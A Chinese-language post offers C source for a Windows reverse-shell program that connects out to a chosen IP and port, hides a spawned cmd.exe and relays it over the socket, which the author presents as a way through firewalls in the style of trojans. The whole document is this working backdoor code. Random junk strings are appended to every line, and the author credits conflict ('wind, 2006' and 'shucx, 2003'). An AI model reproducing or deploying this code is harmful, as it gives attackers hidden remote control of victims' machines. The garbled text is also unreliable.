Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 !l!^`c  
i1RU5IRy|j  
/* ============================== tX)l$oRPr  
Rebound port in Windows NT b6%T[B B  
By wind,2006/7 iR j/Tm*T'  
===============================*/ a86m?)-c  
#include /MHqt=jP6  
#include Am=D kkP%  
 hM   
#pragma comment(lib,"wsock32.lib")  |/K+tH  
idiJ|2T"G  
void OutputShell(); <1#v}epD#  
SOCKET sClient; 1.WdxMpW9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;!U`GN,tH  
z^=.05jB  
void main(int argc,char **argv) OH~X~n-Z  
{ Oq~>P!=  
WSADATA stWsaData; &Npv~Iy  
int nRet; W70J2
 
SOCKADDR_IN stSaiClient,stSaiServer; #q.Q tDz  
gbNPD*7g9  
if(argc != 3) BEM_y:#  
{ OMG.64DX .  
printf("Useage:\n\rRebound DestIP DestPort\n"); p-n_ ">7  
return; .-[uQtyWW  
} D)z'FOaI  
q]Gym 7o  
WSAStartup(MAKEWORD(2,2),&stWsaData); [oN}zZP]  
!Irmc*;QE  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]UyIp`nV;  
Qo+_:N  
stSaiClient.sin_family = AF_INET; l/[0N@r~  
stSaiClient.sin_port = htons(0); %jEdgD%xV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }5dYmny  
QW :-q(s  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^L}fj$  
{ "(j.:jayd  
printf("Bind Socket Failed!\n"); <]I[|4J 7  
return; -Si'[5@  
} UKyOkuY:w  
rQT@:$)  
stSaiServer.sin_family = AF_INET; <-uE pF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v|acKux=t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C$`z23E  
4~-"k{Xt  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b}'XDw   
{  Qj(q)!Ku  
printf("Connect Error!"); "'p;Udt/Qm  
return; oj*5m+:>a  
} *k'D%}N:  
OutputShell(); <%klrQya  
} NikY0=i  
!f\,xa|M  
void OutputShell() %Y8#I3jVJ  
{ y05(/NH>  
char szBuff[1024]; F`,XB[}2  
SECURITY_ATTRIBUTES stSecurityAttributes; 4"72  
OSVERSIONINFO stOsversionInfo; 5sui
*WH  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7m0sF<P{g  
STARTUPINFO stStartupInfo; YGrmco?G  
char *szShell; + 5E6|  
PROCESS_INFORMATION stProcessInformation; %.,-dV'  
unsigned long lBytesRead; J^[>F{8!n  
QUd`({/@:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,^,
KWi9  
b,kXV<KtU  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Rb=
T'x'  
stSecurityAttributes.lpSecurityDescriptor = 0; [O*5\&6  
stSecurityAttributes.bInheritHandle = TRUE; FEgM4m.(G<  
Ho[Kxe[c  
C;2!c
 
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O-- "\4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aWhhq@  
Dg~r%F
 
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gaBt;@?:Q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %lPAq  
stStartupInfo.wShowWindow = SW_HIDE; _YzItge*  
stStartupInfo.hStdInput = hReadPipe; HHu|X`tc  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "R@N}q<*v2  
#W[/N|~wx  
GetVersionEx(&stOsversionInfo); :9H=D^J  
f?: o  
switch(stOsversionInfo.dwPlatformId) 88~BE ^  
{ fk-zT
 
case 1: W6f?/{Oo8  
szShell = "command.com"; [*zB vj}G
 
break; HFYN(nz}[  
default: qPsf
`nI7  
szShell = "cmd.exe"; YCod\}
3  
break; >0kn&pe7#T  
} y7aBF13Kl  
HHa XK  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1(0LX^%  
TJ9JIxnS  
send(sClient,szMsg,77,0); I3uS?c  
while(1) dr3
#?%  
{ 5{cbcuG  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <i34;`)b  
if(lBytesRead) B3[;}8u>  
{ PR?Ls{}p\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %rVC3}  
send(sClient,szBuff,lBytesRead,0); V&82U w  
} q9rY++Tv  
else 3]DUUXg$  
{ Wr"
-~PP  
lBytesRead=recv(sClient,szBuff,1024,0); fsqK(io28  
if(lBytesRead<=0) break; b|| c^f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bmN'{09@  
} dWV.5cViP  
} !mhV$2&r  
,Cx @]]  
return; Wkw.z  
}